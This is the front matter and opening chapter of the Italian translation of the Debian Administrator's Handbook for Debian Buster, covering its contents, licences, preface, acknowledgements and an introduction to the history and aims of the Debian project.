Il Manuale dell'Amministratore Debian

Indice

Prefazione

Introduzione

1. Il Progetto Debian

1.1. Cosa è Debian?

1.2. I Documenti Fondanti

1.3. Il funzionamento interno del Progetto Debian

1.4. Segui Debian

1.5. Il ruolo delle distribuzioni

1.6. Ciclo di vita di un rilascio

2. Presentazione del caso di studio

2.1. Necessità IT in veloce crescita

2.2. Strategia

2.3. Perché una distribuzione GNU/Linux?

2.4. Perché la distribuzione Debian?

2.5. Perché Debian Buster?

3. Analisi delle impostazioni esistenti e migrazione

3.1. Coesistenza in ambienti eterogenei

3.2. Come migrare

4. Installazione

4.1. Modalità di installazione

4.2. Installazione, passo passo

4.3. Dopo il primo avvio

5. Sistema dei pacchetti: strumenti e principi fondamentali

5.1. Struttura di un pacchetto binario

5.2. Meta-informazioni sul pacchetto

5.3. Struttura di un pacchetto sorgente

5.4. Manipolazione dei pacchetti con dpkg

5.5. Coesistenza con Altri Sistemi di Pacchetti

6. Manutenzione ed aggiornamento: gli strumenti APT

6.1. Compilazione del file sources.list

6.2. I Comandi aptitude, apt-get, e apt

6.3. Il comando apt-cache

6.4. Il comando apt-file

6.5. Frontend: aptitude, synaptic

6.6. Controllare l'autenticità dei pacchetti

6.7. Aggiornare da una distribuzione stabile alla successiva

6.8. Mantenere un sistema sempre aggiornato

6.9. Aggiornamenti automatici

6.10. Ricercare pacchetti

7. Risoluzione dei problemi e reperimento delle principali informazioni

7.1. Fonti documentali

7.2. Procedure comuni

8. Configurazione di base: rete, account, stampa, ...

8.1. Configurare il sistema per un'altra lingua

8.2. Configurazione della rete

8.3. Impostare il nome host e configurare il servizio dei nomi

8.4. Database di utenti e gruppi

8.5. Creare account

8.6. Ambiente shell

8.7. Configurazione della stampante

8.8. Configurare il bootloader

8.9. Altre configurazioni: Sincronizzazione Ora, Log, Condivisione dell'accesso…

8.10. Compilare un kernel

8.11. Installare un kernel

9. Servizi Unix

9.1. Avvio del sistema

9.2. Accesso remoto

9.3. Gestione dei permessi

9.4. Interfacce di amministrazione

9.5. syslog, eventi di sistema

9.6. Il super-server inetd

9.7. Pianificare attività con cron e atd

9.8. Pianificazione di attività asincrone: anacron

9.9. Quote

9.10. Backup

9.11. Collegamento a caldo: hotplug

9.12. Gestione dell'energia: Advanced Configuration and Power Interface (ACPI)

10. Infrastruttura di rete

10.1. Gateway

10.2. X.509 certificates

10.3. Rete privata virtuale (VPN)

10.4. Qualità del servizio (QoS)

10.5. Instradamento dinamico

10.6. IPv6

10.7. Server dei nomi di dominio (DNS)

10.8. DHCP

10.9. Strumenti di diagnosi di rete

11. Servizi di rete: Postfix, Apache, NFS, Samba, Squid, LDAP, SIP, XMPP, TURN

11.1. Server di posta

11.2. Server web (HTTP)

11.3. Server di file FTP

11.4. Server di file NFS

11.5. Configurare condivisioni Windows con Samba

11.6. Proxy HTTP/FTP

11.7. Directory LDAP

11.8. Servizi di Comunicazione Real-Time

12. Amministrazione avanzata

12.1. RAID e LVM

12.2. Virtualizzazione

12.3. Installazione automatica

12.4. Monitoraggio

13. Postazione di lavoro

13.1. Configurazione del server X11

13.2. Personalizzazione dell'interfaccia grafica

13.3. Desktop grafici

13.4. Posta elettronica

13.5. Browser web

13.6. Sviluppo

13.7. Lavoro collaborativo

13.8. Suite per l'ufficio

13.9. Emulazione di Windows: Wine

13.10. Software Comunicazioni Real-Time

14. Sicurezza

14.1. Definire la politica di sicurezza

14.2. Firewall o filtraggio dei pacchetti

14.3. Supervisione: prevenire, rilevare, dissuadere

14.4. Introduzione a AppArmor

14.5. Introduzione a SELinux

14.6. Altre considerazioni relative alla sicurezza

14.7. Gestire una macchina compromessa

15. Creazione di un pacchetto Debian

15.1. Rigenerare un pacchetto dai suoi sorgenti

15.2. Creare il primo pacchetto

15.3. Creazione di un repository di pacchetti per APT

15.4. Diventare un maintainer di pacchetti

16. Conclusione: Il futuro di Debian

16.1. Sviluppi futuri

16.2. Futuro di Debian

16.3. Futuro di questo libro

A. Distribuzioni derivate

A.1. Censimento e cooperazione

A.2. Ubuntu

A.3. Linux Mint

A.4. Knoppix

A.5. Aptosid e Siduction

A.6. Grml

A.7. Tails

A.8. Kali Linux

A.9. Devuan

A.10. DoudouLinux

A.11. Raspbian

A.12. PureOS

A.13. SteamOS

A.14. E molte altre

B. Breve Corso di Recupero

B.1. Shell e Comandi di Base

B.2. Organizzazione della Gerarchia del Filesystem

B.3. Funzionamento Interno di un Computer: i Diversi Livelli Coinvolti

B.4. Alcuni Compiti di cui si occupa il Kernel

B.5. Lo Spazio Utente

Il Manuale dell'Amministratore Debian

Debian Buster dalla Scoperta alla Padronanza

Raphaël Hertzog

<hertzog@debian.org>

Roland Mas

<lolando@debian.org>

Diritto d'autore © 2003, 2004, 2005, 2006, 2007, 2008, 2009, 2010, 2011, 2012, 2013, 2014, 2015, 2016, 2017, 2018, 2019, 2020 Raphaël Hertzog

Diritto d'autore © 2006, 2007, 2008, 2009, 2010, 2011, 2012, 2013, 2014, 2015 Roland Mas

Diritto d'autore © 2012, 2013, 2014, 2015, 2016, 2017, 2018, 2019, 2020 Freexian SARL

ISBN: 979-10-91414-19-7 (versione tascabile italiano)

ISBN: 979-10-91414-20-3 (versione ebook italiano)

Questo libro è disponibile sotto i termini di due licenze compatibili con le linee guida del software libero Debian.

Licenza d'uso Creative Commons:  Questo libro è rilasciato sotto la licenza Creative Commons Attribution-ShareAlike 3.0 Unported.

→ https://creativecommons.org/licenses/by-sa/3.0/

Licenza d'uso GNU General Public License:  Questo libro è documentazione libera: è possibile ridistribuirlo e / o modificarlo secondo i termini della GNU General Public License come pubblicata dalla Free Software Foundation, sia la versione 2 della licenza, o (a propria scelta) una versione successiva.

Questo libro è distribuito nella speranza che possa essere utile, ma SENZA ALCUNA GARANZIA; senza neppure la garanzia implicita della COMMERCIABILITÀ o IDONEITÀ PER UNO SCOPO PARTICOLARE. Per ulteriori dettagli si veda la GNU General Public License.

Si dovrebbe aver ricevuto una copia della GNU General Public License assieme a questo libro. Altrimenti si veda https://www.gnu.org/licenses/.

Mostrare il vostro apprezzamento

Questo libro è pubblicato sotto una licenza libera perché vogliamo che chiunque ne benefici. Detto ciò, la sua manutenzione richiede tempo e molto sforzo, e apprezzeremmo dei ringraziamenti per questo. Se si è trovato questo libro utile, per favore si consideri di contribuire alla sua continua manutenzione sia con l'acquisto di una copia o facendo una donazione attraverso il sito ufficiale del libro:

→ https://debian-handbook.info

Sommario

Un libro di riferimento sulla distribuzione Debian, dall'installazione iniziale alla configurazione dei servizi.

Prefazione

Sono lieto di avere l'opportunità di darvi il benvenuto a Debian ed al manuale dell'Amministratore Debian. Molte persone hanno scelto Debian: circa il 10% dei server web su Internet vengono eseguiti su Debian. Quando si includono sistemi operativi basati su Debian, il totale si avvicina al 20%. Debian è stato selezionato come sistema operativo preferito per la Stazione Spaziale Internazionale. Che si tratti di ricerca fisica all'avanguardia o di un progetto per aiutare a coltivare il cibo mentre si combatte l'inquinamento, è stato utilizzato Debian nei computer che rendono possibile tutto ciò.

Perché Debian attrae grandi aziende, ricercatori, attivisti e hobbisti? Penso che la risposta stia nella flessibilità e nella comunità di Debian.

Debian è flessibile. Sì, fornisce un eccellente sistema operativo multiuso fuori dagli schemi. Fornisce, inoltre, gli strumenti per personalizzare Debian in qualsiasi ambiente in cui ti trovi a lavorare. Che si tratti di un'architettura cloud con container, un'ampia gamma di workstation, singoli computer od un'appliance, Debian fornisce l'elasticità per funzionare bene in quell'ambiente. Troverai gli strumenti e gli esempi di cui hai bisogno per soddisfare le tue esigenze.

La comunità Debian è un luogo di incontro per diversi individui ed interessi: gli sviluppatori delle più grandi aziende lavorano al fianco di volontari, ricercatori e utenti. Che si tratti di esperti di sicurezza, sviluppatori web, programmatori di sistemi o architetture, siamo tutti rappresentati. Potete far parte di questa comunità. Quando troverete il modo in cui Debian può migliorare, accoglieremo con favore il vostro contributo.

Ci riuniamo per produrre, a livello mondiale, un sistema operativo libero. Nessuna azienda controlla Debian; nessun programma definisce il nostro lavoro. Invece, ognuno di noi ha il capacità di migliorare Debian nei modi che contano per noi. Grazie per aver dato un'occhiata a ciò che abbiamo costruito. Spero che vi piaccia.

Questo libro è un ottimo modo per esplorare Debian. L'ho consigliato agli amici per anni quando volevano saperne di più su Debian e sono lieto di avere l'opportunità di raccomandarlo in maniere più estesa. Questo manuale è scritto e mantenuto da membri di vecchia data della comunità Debian. Alcune delle persone che stanno lavorando per sviluppare il sistema operativo si sono unite per aiutarti a capirlo. E naturalmente il libro è sviluppato utilizzando un processo collettivo, simile a quello di Debian, con la medesima enfasi per la libertà.

Agosto 2019

Sam Hartman (Leader del Progetto Debian)

Introduzione

Da diversi anni ormai, Linux ha rafforzato la propria posizione e la sua crescente popolarità porta sempre più utenti a fare il salto. Il primo passo lungo questo percorso è la scelta di una distribuzione. Questa è una decisione importante poiché ogni distribuzione ha le proprie peculiarità e futuri costi di migrazione possono essere evitati se la scelta iniziale è quella giusta.

FONDAMENTALI Distribuzione Linux, Kernel Linux

In senso stretto, Linux è solo un kernel, la parte fondamentale di software che è posizionata tra l'hardware e le applicazioni.

Una "distribuzione Linux" è un sistema operativo completo; solitamente include il kernel Linux, un programma di installazione e soprattutto le applicazioni e i software necessari per trasformare un computer in uno strumento effettivamente utile.

Debian GNU/Linux è una distribuzione Linux "generica" che soddisfa la maggior parte degli utenti. Il proposito di questo libro è di illustrarne i suoi molteplici aspetti così da permettere di prendere una decisione consapevole al momento della propria scelta.

1. Perché questo libro?

CULTURA Distribuzioni commerciali

La maggior parte delle distribuzioni sono supportate da aziende commerciali che le sviluppano e le vendono per trarne profitti. Le più note sono Ubuntu, manutenuta principalmente da Canonical Ltd.; Red Hat Enterprise Linux, dell'azienda Red Hat, Inc., acquisita da IBM e SUSE Linux , manutenuta e commercializzata da SUSE Software Solutions Germany GmbH acquisita da EQT Partners.

Alla parte opposta si trovano progetti come Debian e la Apache Software Foundation (che ospita lo sviluppo per il server web Apache). Debian è soprattutto un progetto nel mondo del Software libero, realizzato da volontari che collaborano tramite Internet. Sebbene alcuni di loro lavorino su Debian come parte del loro lavoro pagato in varie aziende, il progetto nel suo complesso non è legato ad alcuna azienda in particolare, né alcuna azienda ha più voce in capitolo nelle questioni del progetto di quanta ne abbia chi contribuisce in modo puramente volontario.

Linux ha raccolto negli anni una discreta copertura mediatica, di cui hanno beneficiato maggiormente le distribuzioni supportate da un dipartimento marketing reale — in altre parole le distribuzioni con alle spalle un'azienda (Ubuntu, Red Hat, SUSE e così via). Ma Debian è tutt'altro che una distribuzione marginale; diversi studi negli anni hanno mostrato come sia largamente usata sia nei server sia nei desktop. Ciò è particolarmente vero per i server web dove Debian e Ubuntu sono le distribuzioni Linux più usate.

→ https://w3techs.com/technologies/details/os-linux/all/all

L'obiettivo di questo libro è di aiutare a scoprire questa distribuzione. Speriamo di condividere l'esperienza che abbiamo raccolto da quando abbiamo aderito al progetto come sviluppatori e collaboratori nel 1998 (Raphaël) e 2000 (Roland). Con un po' di fortuna, speriamo di trasmettere il nostro entusiasmo, e può darsi che prima o poi vi uniate a noi…

La prima edizione di questo libro (nel 2004) è servita a riempire un vuoto: è stato il primo libro in lingua francese concentrato esclusivamente su Debian. Fino ad allora, erano stati scritti molti altri libri sull'argomento, sia per i lettori francofoni che anglofoni. Sfortunatamente quasi nessuno di quei libri è stato aggiornato e la situazione era ritornata ad un punto in cui esistevano pochissimi buoni libri su Debian. Noi speriamo che questo libro, che ha iniziato una nuova vita con la sua traduzione in inglese (e svariate traduzioni dall'inglese ad altre lingue) riempia questo vuoto ed aiuti molti utenti.

2. A chi è rivolto questo libro?

Abbiamo cercato di rendere questo libro utile a molte categorie di lettori. Innanzitutto, gli amministratori di sistema (sia principianti che esperti) troveranno spiegazioni riguardo l'installazione e l'utilizzo di Debian su molti computer. Troveranno inoltre una panoramica sulla maggior parte dei servizi disponibili in Debian, insieme alle relative istruzioni di configurazione e una descrizione delle specifiche che provengono dalla distribuzione. Conoscere i meccanismi coinvolti nello sviluppo di Debian permetterà loro di affrontare problemi imprevisti, sapendo che potranno sempre trovare aiuto nella comunità.

Gli utenti di altre distribuzioni Linux, o di altre varianti Unix, scopriranno le specifiche di Debian, e dovrebbero diventare rapidamente operativi beneficiando completamente dei vantaggi unici propri di questa distribuzione.

Infine, i lettori che hanno già qualche conoscenza di Debian e vogliono conoscere di più a proposito della comunità alle sue spalle dovrebbero veder soddisfatte le loro aspettative. Questo libro dovrebbe avvicinarli ad unirsi a noi come collaboratori.

3. Approccio Generale

Tutte le documentazioni generiche che si possono trovare a proposito di GNU/Linux sono applicabili anche a Debian, poiché Debian include la maggior parte del software libero di uso comune. Ad ogni modo, la distribuzione fornisce molti miglioramenti, che sono alla base della nostra scelta di descrivere principalmente "il modo Debian" di fare le cose.

È interessante seguire le raccomandazioni di Debian, ma è molto meglio capire le loro motivazioni. Quindi, non ci limiteremo alle sole spiegazioni pratiche; cercheremo anche di descrivere il funzionamento del progetto, per fornire una conoscenza esaustiva e coerente.

4. Struttura del libro

Questo libro è basato su un caso di studio e fornisce sia il supporto che l'illustrazione per tutti gli argomenti trattati.

NOTA Sito Web, email degli autori

Per questo libro è stato realizzato uno sito web specifico completo di tanti strumenti che lo rendono più utile. In particolare, include una versione online del libro con collegamenti navigabili ed eventuali errata. Tutti possono navigare a piacere nel sito e lasciare feedback. Saremo lieti di leggere i vostri commenti o i messaggi di supporto. Potete inviarli via email a <hertzog@debian.org> (Raphaël) e <lolando@debian.org> (Roland).

→ https://debian-handbook.info/

Il Capitolo 1 si concentra su una presentazione non tecnica del progetto Debian descrivendone gli obiettivi e l'organizzazione. Questi aspetti sono importanti perché permettono di definire un quadro generale che sarà completato con informazioni più dettagliate nei capitoli successivi.

I Capitoli 2 e 3 forniscono una descrizione generale di un caso di studio reale. A questo punto, i lettori meno esperti possono dedicare un po' di tempo alla lettura dell'appendice B, dove potranno trovare un breve corso di recupero che spiega una serie di nozioni informatiche di base, nonché i principali concetti relativi a qualsiasi sistema Unix.

Proseguendo con il nostro caso reale, partiremo naturalmente con il processo di installazione (Capitolo 4); i Capitoli 5 e 6 ci porteranno alla scoperta dei principali strumenti che ogni amministratore di Debian utilizzerà, come quelli della famiglia APT, che sono in gran parte responsabili dell'eccellente reputazione maturata da questa distribuzione. Questi capitoli non sono dedicati ai soli professionisti, dato che ognuno è amministratore del proprio computer.

Il Capitolo 7 rappresenta un'importante parentesi; esso descrive le modalità di utilizzo in modo efficiente della documentazione in modo da comprendere rapidamente i problemi incontrati e trovarne la soluzione.

I capitoli seguenti saranno una panoramica dettagliata del sistema, partendo dall'infrastruttura di base ed i servizi (Capitoli da 8 a 10) e proseguendo progressivamente fino alle applicazioni utente, nel Capitolo 13. Il Capitolo 12 si occupa di argomenti più avanzati che riguardano più direttamente gli amministratori di grandi insiemi di computer (compresi i server), mentre il Capitolo 14 è una breve introduzione al tema più ampio della sicurezza informatica e fornisce alcune indicazioni per evitare la maggior parte dei problemi.

Il Capitolo 15 è per quegli amministratori che voglio andare oltre e crearsi i propri pacchetti Debian.

VOCABOLARIO Pacchetto Debian

Un pacchetto Debian consiste di un archivio contenente tutti i file necessari per installare un software. É generalmente un file con estensione .deb e può essere gestito dal comando dpkg. Chiamato anche pacchetto binario, contiene file che possono essere utilizzati direttamente (come programmi eseguibili o documentazione). Un pacchetto sorgente invece contiene il codice sorgente del software e le istruzioni necessarie per costruire il pacchetto binario.

La versione attuale è già la nona edizione del libro (includendo le prime quattro che erano disponibili solo in francese). Questa edizione copre la versione 10 di Debian, nome in codice Buster. Tra i cambiamenti, Debian ora supporta UEFI Secure Boot che fornisce una sicurezza in più contro gli attacchi all'infrastruttura di avvio e la rende più facile da installare su nuovi computer dove Secure Boot è spesso abilitato di default. Sempre a livello di sicurezza è ora abilitato, per impostazione predefinita, AppArmor un sistema di controllo degli accessi (Mandatory Access Control) che regola ciò che le varie applicazioni possono eseguire. Tutti i pacchetti inclusi sono stati ovviamente aggiornati, incluso il desktop GNOME, che ora è nella sua versione 3.30.

Abbiamo aggiunto alcune note e osservazioni nei riquadri. Queste assolvono a svariati compiti: possono attirare l' attenzione su un punto diffcile, completare una nozione del caso di studio, definire alcuni termini, o servire da promemoria. Questa è un lista delle tipologie più comuni:

- FONDAMENTALI: un promemoria di alcune informazioni che si suppone siano già note;

- VOCABOLARIO: definisce un termine tecnico, a volte specifico di Debian;

- COMUNITÀ: evidenziano persone o ruoli importanti all'interno del progetto;

- POLITICA: una regola o una raccomandazione della Policy Debian. Questo documento è fondamentale all'interno del progetto, e descrive come realizzare un pacchetto software. Le parti della politica evidenziate in questo libro portano benefici diretti agli utenti (ad esempio, sapere che la politica standardizza la posizione della documentazione e degli esempi rendendo facile trovarli anche in un nuovo pacchetto).

- STRUMENTO: presenta uno strumento o un servizio importante;

- IN PRATICA: teoria e pratica non sempre coincidono; questi riquadri contengono consigli pratici derivanti dalla nostra esperienza. Possono anche fornire esempi dettagliati e concreti;

- altri tipi di riquadri usati più o meno frequentemente hanno nomi piuttosto espliciti: CULTURA, SUGGERIMENTO, ANDARE AVANTI, SICUREZZA, e così via.

5. Contribuire

Questo libro è sviluppato come un progetto di software libero, il vostro contributo e il vostro aiuto sono benvenuti. Il modo più ovvio per partecipare è quello di aiutare a tradurlo nella tua lingua madre. Ma questa non è l'unico modo. È possibile aprire segnalazioni di bug per segnalarci sviste, errori di battitura, informazioni obsolete od argomenti che dovremmo prendere in esame. Oppure è possibile inviare una richiesta per includere la tua correzione ad un qualsiasi problema identificato.

Tutte le istruzioni per contribuire al libro sono documentate sul sito web:

→ https://debian-handbook.info/contribute/

6. Ringraziamenti

6.1. Un po' di storia

Nel 2003, Nat Makarévitch mi contattò (Raphaël) perché aveva intenzione di pubblicare un libro su Debian nella raccolta Cahier de l'Admin (Manuale dell'amministratore) che gestiva per Eyrolles, un importante editore francese di testi tecnici. Accettai immediatamente di scrivere il libro. La prima edizione è stata pubblicata il 14 ottobre 2004 e fu un grande successo — andò esaurita appena quattro mesi dopo.

Da allora, sono state rilasciate altre 7 edizioni della versione francese, una per ogni successivo rilascio di Debian (eccetto per Debian 9). Roland, che ha iniziato a lavorare al libro come correttore di bozze, a poco a poco è diventato il co-autore.

Sebbene fossimo ovviamente soddisfatti del successo del libro, speravamo che Eyrolles riuscisse a convincere un editore internazionale a tradurlo in inglese. Avevamo ricevuto molte segnalazioni di come il libro avesse aiutato molte persone ad iniziare con Debian, ed eravamo desiderosi di far sì che il libro potesse aiutare nello stesso modo molte altre persone.

Purtroppo, nessun editore inglese che contattammo era disposto a correre il rischio di tradurre e pubblicare il libro. Non lasciandoci scoraggiare da questo piccolo ostacolo, abbiamo negoziato con il nostro editore francese Eyrolles e abbiamo ottenuto i diritti necessari per tradurre il libro in inglese e pubblicarlo noi stessi. Grazie ad una campagna di crowdfunding di successo, abbiamo lavorato alla traduzione da dicembre 2011 a maggio 2012. Nacque così il "Debian Administrator's Handbook", pubblicato con una licenza per software libero!

Sebbene questo fosse un passo importante, sapevamo già che la storia non poteva dirsi conclusa fino a che non avremmo potuto fornire il libro in francese come traduzione ufficiale di quello in inglese. Ciò non era in quel momento possibile perché il libro francese era ancora distribuito commercialmente da Eyrolles con una licenza non libera.

Nel 2013 il rilascio di Debian 7 ci diede una buona opportunità di discutere un nuovo contratto con Eyrolles. Siamo riusciti a convincerli che una licenza più in linea con i valori di Debian avrebbe contribuito al successo del libro. Non è stato un accordo facile da fare, e abbiamo accettato di organizzare un'altra campagna di crowdfunding per coprire parti dei costi e ridurre i rischi correlati. Ancora una volta l'operazione fu un enorme successo e nel luglio 2013, abbiamo aggiunto una traduzione francese del Debian Administrator's Handbook.

Vorremmo ringraziare tutti coloro che hanno contribuito a queste campagne di raccolta fondi, sia con contributi in denaro che con il passaparola. Senza di loro non ce l'avremmo mai fatta.

Per risparmiare un po' di carta, 5 anni dopo le campagne di raccolta fondi e dopo due edizioni, abbiamo eliminato la lista delle persone che hanno scelto di essere premiate con la menzione del loro nome nel libro. Ma il loro nome è impresso nei riconoscimenti dell'edizione Wheezy del libro:

→ https://debian-handbook.info/browse/wheezy/sect.acknowledgments.html

6.2. Un Ringraziamento Speciale ai Collaboratori

Questo libro non sarebbe stato quello che è senza il contributo di diverse persone che hanno avuto un ruolo importante durante la fase di traduzione e oltre. Vorremmo ringraziare Marilyne Brun, che ci ha aiutato a tradurre il capitolo di esempio e ha lavorato con noi per definire alcune comuni regole di traduzione. Ha inoltre revisionato diversi capitoli che avevano un disperato bisogno di lavoro supplementare. Grazie ad Anthony Baldwin (di Baldwin Linguas) che ha tradotto diversi capitoli per noi.

Poiché Roland ed io eravamo troppo occupati per aggiornare il libro per Debian 10, abbiamo usato il modico reddito ottenuto attraverso donazioni e vendite per assumere collaboratori che svolgessero la maggior parte del lavoro. Grazie mille a Daniel Leidert e Jorge Maldonado Ventura per il duro lavoro svolto per questo aggiornamento.

Abbiamo beneficiato del generoso aiuto dei correttori di bozze: Daniel Phillips, Gerold Rupprecht, Gordon Dey, Jacob Owens e Tom Syroid. Ognuno di loro ha revisionato molti capitoli. Grazie mille!

Poi, una volta liberata la versione Inglese, abbiamo naturalmente ricevuto moltissimi riscontri, suggerimenti e correzioni dai lettori e ancora di più dai molti gruppi che hanno intrapreso il compito di tradurre questo libro in altre lingue. Grazie!

Vogliamo anche ringraziare i lettori della versione francese che con i loro commenti ci hanno confermato che sarebbe stato veramente importante tradurlo in inglese: grazie a voi Christian Perrier, David Bercot, Étienne Liétart e Gilles Roussi. Stefano Zacchiroli, che era Project Leader di Debian durante la campagna di finanziamento, merita un grande ringraziamento, ha avallato il progetto con una dichiarazione spiegando come libri liberi (come in libertà) erano più che necessari.

Chi ha il piacere di leggere queste righe in una copia tascabile del libro, dovrebbe unirsi a noi per ringraziare Benoît Guillon, Jean-Côme Charpentier e Sébastien Mengin che hanno lavorato al design interno del libro. Benoît è l'autore di dblatex: lo strumento che ci ha permesso di convertire il testo in Latex (e poi in PDF). Sébastien è il designer che ha creato l'impaginazione di questo bel libro e Jean-Côme è l'esperto di LaTeX che la ha implementata come foglio di stile usabile con dblatex. Grazie ragazzi per tutto il duro lavoro!

Infine, grazie a Thierry Stempfel per le belle immagini che introducono ogni capitolo e grazie a Doru Patrascu per la bellissima copertina.

6.3. Ringraziamenti ai Traduttori

Fin da quando il libro è stato reso libero, molti volontari si sono impegnati a tradurlo in numerose lingue, come l'arabo, il portoghese brasiliano, il tedesco, l'italiano, lo spagnolo, il giapponese, il Bokmål norvegese ecc. Scopri l'elenco completo delle traduzioni sul sito web: https://debian-handbook.info/get/#other

Vorremmo ringraziare tutti i traduttori e i revisori di traduzione. Il vostro lavoro è molto apprezzato perché porta Debian nelle mani di milioni di persone che non sanno leggere l'inglese.

6.4. Ringraziamenti personali di Raphaël

Prima di tutto, vorrei ringraziare Nat Makarévitch, che mi ha offerto la possibilità di scrivere questo libro e mi ha guidato durante l'anno che è stato necessario per scriverlo. Grazie anche alla bella squadra di Eyrolles e a Muriel Shan Sei Fan in particolare che è stata molto paziente e mi ha insegnato molte cose.

Il periodo delle campagne Ulule per me è stato molto impegnativo, ma vorrei ringraziare tutti coloro che hanno contribuito a renderle un successo, in particolare il team di Ulule che ha reagito molto velocemente alle mie numerose richieste. Grazie anche a tutti coloro che hanno promosso l'operazione. Non ho un elenco completo (e se lo avessi probabilmente sarebbe troppo lungo), ma vorrei ringraziare alcune delle persone che erano in contatto con me: Joey-Elijah Sneddon e Benjamin Humphrey di OMG! Ubuntu, Florent Zara di LinuxFr.org, Manu di Korben.info, Frédéric Couchet di April.org, Jake Edge di Linux Weekly News, Clement Lefebvre di Linux Mint, Ladislav Bodnar di Distrowatch, Steve Kemp di Debian-Administration.org, Christian Pfeiffer Jensen di Debian-News.net, Artem Nosulchik di LinuxScrew.com, Stephan Ramoin di Gandi.net, Matthew Bloch di Bytemark.co.uk, il team a Divergence FM, Rikki Kite di Linux New Media, Jono Bacon, il team marketing di Eyrolles e molti altri che potrei aver dimenticato (scusatemi per questo).

Voglio fare un ringraziamento speciale a Roland Mas, il mio co-autore. Abbiamo collaborato a questo libro sin dall'inizio e lui è sempre stato all'altezza della sfida, devo anche dire che il completamento del Debian Administrator's Handbook ha comportato un sacco di lavoro…

Ultimo, ma non meno importante grazie a mia moglie Sophie. Mi ha sostenuto molto nel lavoro a questo libro e a Debian in generale. L'ho lasciata sola troppi giorni (e notti) con i nostri 2 bimbi per portare avanti il lavoro sul libro. Le sono grato per il suo sostegno e so quanto sono fortunato di averla a mio fianco.

6.5. Ringraziamenti personali di Roland

Beh, Raphaël ha già anticipato anche la maggior parte dei miei ringraziamenti "esterni". Vorrei comunque sottolineare la mia gratitudine al personale di Eyrolles con il quale la collaborazione è sempre stata piacevole e senza contrasti. Si spera che i risultati dei loro ottimi consigli non si siano persi nella traduzione.

Sono estremamente grato a Raphaël per aver seguito la parte amministrativa di questa edizione inglese. Dall'aver organizzato la campagna di finanziamento agli ultimi dettagli dell'impaginazione del libro, produrre un libro tradotto è molto più di una semplice traduzione e correzione di bozze, e Raphaël ha fatto (o delegato e supervisionato) tutto. Quindi grazie.

Grazie anche a tutti coloro che più o meno direttamente hanno contribuito a questo libro, fornendo chiarimenti o spiegazioni e consigli sulla traduzione. Sono troppi da citare, ma la maggior parte di loro di solito può essere trovata nei diversi canali IRC #debian-*.

C'è una certa sovrapposizione con il precedente insieme di persone, ma un ringraziamento particolare va alle persone che contribuiscono effettivamente a Debian. Non ci sarebbe questo libro senza di loro, e sono ancora stupito di quello che il progetto Debian nel suo complesso mette a disposizione di tutti.

Un ringraziamento più personale va ai miei amici ed ai miei clienti, per la loro comprensione quando ero meno scattante alle loro richieste perché ero impegnato alla stesura di questo libro, e anche per il loro costante supporto e incoraggiamento. Voi sapete chi siete, grazie.

E infine, sono sicuro che sarebbero sorpresi di essere menzionati qui, ma vorrei estendere la mia gratitudine a Terry Pratchett, Jasper Fforde, Tom Holt, William Gibson, Neal Stephenson e naturalmente al compianto Douglas Adams. Le innumerevoli ore che ho trascorso godendo dei loro libri sono direttamente responsabili per il mio essere in grado di prendere parte, prima, alla traduzione di un libro e, in seguito, alla scrittura di nuove parti.

Capitolo 1. Il Progetto Debian

Prima di affrontare la tecnologia, vediamo in cosa consiste il progetto Debian, quali sono i suoi obiettivi, i suoi mezzi e il suo funzionamento.

1.1. Cosa è Debian?

CULTURA Origine del nome Debian

Non cercate altro: Debian non è un acronimo. Questo nome è, in realtà, la contrazione di due nomi: quello di Ian Murdock, e quello della sua ragazza a quel tempo, Debra. Debra + Ian = Debian.

Debian è una distribuzione GNU/Linux. Affronteremo meglio in dettaglio il discorso su cosa è una distribuzione nella Sezione 1.5, «Il ruolo delle distribuzioni», ma per ora, possiamo semplicemente dire che si tratta di un sistema operativo completo, comprensivo di software e di sistemi per l'installazione e la gestione, tutti basati sul kernel Linux e su software libero (in particolare quelli provenienti dal progetto GNU).

Nel 1993 quando ha creato Debian, sotto la guida della FSF, Ian Murdock aveva obiettivi chiari che ha espresso nel Manifesto Debian. Il sistema operativo libero che stava cercando di realizzare, avrebbe dovuto aver due caratteristiche principali. Innanzitutto qualità: Debian doveva essere sviluppata con la massima cura per essere degna del kernel Linux. Sarebbe anche stata una distribuzione non commerciale, sufficientemente credibile per competere con le maggiori distribuzioni commerciali. Questa duplice ambizione si sarebbe potat realizzare, secondo il suo punto di vista, solo rendendo aperto il processo di sviluppo di Debian proprio nello stesso modo utilizzato per Linux e per il progetto GNU. Perciò, una peer review (revisione paritaria) avrebbe continuamente migliorato il prodotto.

CULTURA GNU, il progetto della FSF

Il progetto GNU consiste in un insieme di software libero sviluppato o sponsorizzato dalla Free Software Foundation (FSF), creato dal suo leader simbolo Dr. Richard M. Stallman. GNU è un acronimo ricorsivo e sta per "GNU is Not Unix" (GNU non è Unix).

CULTURA Richard Stallman

Il fondatore della FSF e autore della licenza GPL, Richard M. Stallman (spesso indicato con le sue iniziali, RMS) è un leader carismatico del movimento del software libero. Non è unanimemente ammirato a causa delle sue posizioni intransigenti, ma i suoi contributi non tecnici al Software Libero (in particolare quelli giuridici e filosofici) sono rispettati da tutti.

1.1.1. Un Sistema Operativo Multipiattaforma

COMUNITÀ Il percorso di Ian Murdock

Ian Murdock, fondatore del progetto Debian, fu il suo primo leader dal 1993 al 1996. Dopo aver passato il testimone a Bruce Perens, Ian assunse un ruolo meno pubblico. Tornò a lavorare dietro le quinte della comunità del software libero creando l'azienda Progeny, con lo scopo di commercializzare una distribuzione derivata da Debian. Questa impresa fu, purtroppo, un fallimento dal punto di vista commerciale e lo sviluppo venne abbandonato. La società, dopo diversi anni di difficoltà, come semplice fornitore di servizi, alla fine ha presentato istanza di fallimento nell'aprile 2007. Di tutti i vari progetti avviati da Progeny, è rimasto solo discover. Si tratta di uno strumento automatico di rilevamento hardware.

Ian Murdock è morto il 28 dicembre 2015 a San Francisco dopo una serie di tweet preoccupanti in cui ha riferito di essere stato aggredito dalla polizia. Nel luglio 2016 è stato annunciato che la sua morte era stata dichiarata un suicidio.

Debian, rimanendo fedele ai suoi principi, ha avuto un successo tale che, oggi, ha raggiunto una dimensione enorme. Attualmente sono ufficialmente supportate 10 architetture hardware ed anche altri kernel come FreeBSD (anche se i port basati su FreeBDS non fanno parte della serie di architetture ufficialmente supportate). Inoltre, con più di 28.000 pacchetti sorgente, il software disponibile è in grado di soddisfare quasi ogni esigenza, sia in ambito domestico che aziendale.

